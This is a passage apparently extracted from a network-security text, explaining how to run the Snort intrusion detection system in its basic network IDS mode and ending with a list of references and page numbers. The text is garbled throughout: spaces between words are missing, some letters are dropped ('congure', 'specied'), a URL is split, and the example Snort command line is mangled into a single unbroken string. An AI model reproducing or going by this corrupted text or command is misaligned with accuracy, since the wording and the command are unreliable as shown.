IfSnortistobeusedasanIDSinthelongterm,thevswitchshouldbeleftoffthecommand lineforthesakeofspeed.Thescreenisaslowplacetowritedatato,andpacketscanbe droppedwhilewritingtothedisplay. Itisalsounnecessarytorecordthedatalinkheadersformostapplications,soyoucanomitthe eswitch: ./snortdh192.168.1.0/24l./logcsnort.conf ThiswillcongureSnorttoruninitsmostbasicNIDSform,loggingpacketsthattriggerrules speciedinthesnort.confinplainASCIItodiskusingahierarchicaldirectorystructure,justlike packetloggermode.

119

References
HackAttacksRevealedbyJohnChirillo LinuxNetworkSecuritybyPeterG.Smith OpenSourceSecurityToolsByTonyHewlett www.openswan.org http://www.hsc.fr/ressources/articles/ipsectech/index.html.en#2 http://www.networkdictionary.co m/protocols

120

S-ar putea să vă placă și